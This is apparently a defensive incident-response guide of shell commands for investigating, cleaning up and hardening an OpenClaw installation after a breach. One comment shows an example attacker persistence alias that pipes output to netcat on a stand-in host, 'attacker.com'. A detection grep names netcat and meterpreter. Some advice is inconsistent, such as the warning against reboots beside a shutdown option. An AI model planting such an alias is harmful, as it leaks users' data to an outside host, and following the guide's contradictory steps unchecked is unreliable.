How to Troubleshoot OpenClaw After a Security Breach

# Immediate isolation (choose based on your infrastructure):

# Option 1: Network isolation (safest)
sudo iptables -F  # Flush all firewall rules
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP
sudo iptables -A INPUT -i lo -j ACCEPT  # Allow only localhost
# This isolates the machine while keeping it powered on for investigation

# Option 2: Kill running processes
sudo systemctl stop openclaw
sudo systemctl stop openclaw-whatsapp  # Stop integrations
sudo systemctl stop openclaw-skills

# Option 3: Full shutdown (faster but loses memory state)
sudo shutdown -h +5  # Shutdown in 5 minutes with warning
# This preserves disk state but loses RAM memory forensics

# CRITICAL: Do NOT reboot, restart services, or run cleanup commands
# Rebooting destroys memory evidence (credentials, process info, etc.)
# Every system command can overwrite forensic evidence on disk

# Create forensic snapshot while system is still isolated:

# 1. Dump memory (if system still running):
sudo dd if=/dev/mem of=/tmp/memory.dump bs=1M
# Or:
sudo tar czf memory-processes.tar.gz /proc/*/maps /proc/*/cmdline

# 2. Capture running processes and connections:
ps auxww > /tmp/process-list.txt
netstat -anp > /tmp/netstat.txt
lsof -i > /tmp/open-connections.txt
w > /tmp/logged-in-users.txt
last -f /var/log/wtmp > /tmp/login-history.txt

# 3. Preserve logs (copy to external storage):
tar czf /tmp/logs-backup.tar.gz /var/log/ ~/.openclaw/logs/
cp /tmp/logs-backup.tar.gz /mnt/external-drive/

# 4. Capture filesystem state:
find / -type f -newermt "2025-02-01 00:00:00" > /tmp/modified-files.txt
find ~/.openclaw -type f -exec md5sum {} \; > /tmp/openclaw-hashes.txt

# 5. Store evidence on external drive (not on compromised system)
sudo cp /tmp/*.txt /tmp/*.tar.gz /mnt/external-drive/

# Transfer evidence to secure forensics workstation:
scp -r /mnt/external-drive/logs-backup.tar.gz forensics@safe-workstation:/storage/breach-evidence/

# Extract evidence on forensics workstation (NOT on compromised system):

# Analyze authentication logs:
grep -i "failed\|success\|denied" /var/log/auth.log | tail -100

# Look for suspicious login times:
grep "ssh\|login" /var/log/auth.log | awk '{print $1,$2,$3}' | sort | uniq -c

# Check OpenClaw logs for exploit attempts:
grep -i "error\|exception\|exploit\|injection" ~/.openclaw/logs/openclaw.log

# Look for unusual API calls:
grep "api/\|POST\|PUT\|DELETE" ~/.openclaw/logs/openclaw.log | grep -v "user_id\|authenticated=true"

# Check for database query anomalies:
grep "SELECT\|DROP\|ALTER\|GRANT" ~/.openclaw/logs/database.log

# Timeline reconstruction:
grep "2025-01-15" ~/.openclaw/logs/openclaw.log | head -50
# Find when behavior changed (e.g., unexpected requests, failed logins, etc.)

# Determine breach date:
stat ~/.openclaw/logs/openclaw.log | grep Modify  # Log file last modified
grep "CRITICAL\|BREACH\|UNAUTHORIZED" ~/.openclaw/logs/*.log | head -1  # First alert

# Look for suspicious processes in memory snapshot:
strings /tmp/memory.dump | grep -i "nc\|ncat\|meterpreter\|reverse\|payload"

# Check for unexpected scheduled tasks:
sudo crontab -l
sudo ls -la /etc/cron.d/
sudo cat /etc/crontab
# Look for: * * * * * (every minute), unusual commands

# Check for persistence in .bashrc/.zshrc:
grep -i "export\|alias\|eval" ~/.bashrc ~/.zshrc
# Attacker might add: alias ls='ls | nc attacker.com 1234'

# Search for suspicious files:
find ~/.openclaw -name "*.sh" -o -name "*.py" | xargs grep -l "socket\|connect\|subprocess"
find /tmp -type f -executable -newer /var/log/openclaw.log  # Recently created executables

# Check for rootkits:
sudo chkrootkit  # Rootkit checker
sudo aide --check  # File integrity check

# Check for systemd timers/services:
sudo systemctl list-timers
sudo ls -la /etc/systemd/system/ | grep openclaw
# Look for unexpected services

# Check SSH authorized_keys for backdoor accounts:
sudo cat ~/.ssh/authorized_keys
sudo find ~ -name "authorized_keys" -o -name "id_rsa" -o -name "id_ed25519"
# Verify each key — if you don't recognize it, attacker added it

# 1. Change system passwords:
sudo passwd root  # Root account
sudo passwd openclaw  # OpenClaw service account

# 2. Rotate API keys (on secure workstation, not compromised system):
# Anthropic API:
# https://console.anthropic.com/settings/keys
# Delete old key, create new key

# OpenAI API:
# https://platform.openai.com/api-keys
# Revoke all old keys, create new ones

# 3. Rotate database credentials:
sudo su - postgres
ALTER ROLE openclaw WITH PASSWORD 'new-strong-password-here';
\q

# 4. Rotate SSH keys:
rm ~/.ssh/id_rsa*  # Remove old keys
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "passphrase"

# 5. Rotate Supabase keys:
# https://supabase.com/dashboard/project/YOUR_PROJECT/settings/api
# Regenerate anon key, service role key

# 6. Revoke OAuth/integration tokens:
# GitHub OAuth tokens: https://github.com/settings/tokens
# AWS credentials: AWS Management Console > IAM > Users
# Google Cloud: https://console.cloud.google.com/apis/credentials

# 7. Update .env with all new credentials:
nano ~/.openclaw/.env
# Update:
ANTHROPIC_API_KEY=sk-ant-api03-NEW_KEY
DATABASE_PASSWORD=new-secure-password
SUPABASE_KEY=new-key
SUPABASE_SECRET=new-secret

# 8. Notify all integrated services:
# Email to: integrations@whatsapp.com, support@slack.com, etc.
# Message: "Our OpenClaw instance was compromised. Please revoke webhook credentials for our domain."

# 1. Update all system packages:
sudo apt update && sudo apt upgrade -y  # Debian/Ubuntu
sudo yum update -y  # CentOS/RHEL

# 2. Update Node.js and npm:
node --version  # Check current
nvm install 20  # Or use latest LTS
nvm use 20

# 3. Update npm packages:
cd ~/openclaw
rm -rf node_modules package-lock.json
npm install --prefer-offline
npm audit fix  # Fix known vulnerabilities

# 4. Update OpenClaw:
# Check GitHub releases for security patches:
git pull origin main
git checkout vX.X.X  # Switch to patched version

# 5. Check for known CVEs affecting your versions:
npm audit  # Shows vulnerable packages
npm audit fix --force  # Force fix (may break compatibility)

# 6. Enable security updates automatically:
sudo apt install unattended-upgrades
sudo systemctl enable unattended-upgrades

# 7. Verify no backdoored dependencies:
npm ls  # List all dependencies
# Check package-lock.json for unexpected changes:
git diff package-lock.json  # Should be minimal

# Create incident report:
cat > incident-report.md << 'EOF'
# Security Incident Report: OpenClaw Breach
## Date Discovered: 2025-02-11
## Severity: [Critical/High/Medium/Low]

### Timeline
- 2025-02-10 15:30 UTC: Unusual database queries detected
- 2025-02-11 08:00 UTC: Breach confirmed via log analysis
- 2025-02-11 08:15 UTC: System isolated from network
- 2025-02-11 09:00 UTC: Forensics data collected

### Attack Vector
- [Unpatched vulnerability in X]
- [Stolen credentials for Y]
- [Compromised third-party integration Z]

### Data Affected
- OpenClaw configuration files
- API keys and credentials
- User interaction logs
- Conversation history (if any)

### Actions Taken
- [x] System isolated
- [x] Evidence preserved
- [x] All credentials rotated
- [x] Vulnerabilities patched
- [x] Monitoring enhanced

### Lessons Learned
1. [What went wrong]
2. [How we'll prevent it next time]
EOF

cat incident-report.md

# 1. Enable comprehensive audit logging:
nano ~/.openclaw/.env
DEBUG=true
LOG_LEVEL=debug
LOG_ALL_REQUESTS=true
LOG_ALL_DATABASE_QUERIES=true

# 2. Set up intrusion detection:
sudo apt install suricata  # Network IDS
sudo systemctl enable suricata

# 3. Configure log aggregation for forensics:
sudo apt install fail2ban
sudo systemctl enable fail2ban

# 4. Enable SELinux/AppArmor (mandatory access control):
sudo aa-enforce /etc/apparmor.d/*

# 5. Configure automated security scanning:
sudo apt install aide
sudo aideinit  # Initialize baseline
sudo systemctl enable aide-check.timer

# 6. Set up breach detection alerts:
# Monitor for suspicious patterns:
grep -i "breach\|attack\|unauthorized" ~/.openclaw/logs/openclaw.log | \
  while read line; do
    echo "ALERT: $line" | mail -s "OpenClaw Security Alert" security@example.com
  done

# 7. Regular security audits:
# Schedule monthly: penetration tests, vulnerability scans
# Schedule quarterly: security review, incident drills

# 8. Implement principle of least privilege:
# OpenClaw service should run as unprivileged user
sudo useradd -r -s /bin/false openclaw
sudo chown -R openclaw:openclaw ~/.openclaw
sudo chmod 750 ~/.openclaw  # User can read/write, others cannot

# 9. Enable rate limiting on all APIs:
nano ~/.openclaw/.env
RATE_LIMIT_ENABLED=true
RATE_LIMIT_REQUESTS=100
RATE_LIMIT_WINDOW=60  # per minute

# 10. Regular backups (immutable):
rsync -a ~/.openclaw /mnt/backup-drive/openclaw-$(date +%Y%m%d)
# Schedule with cron for daily backups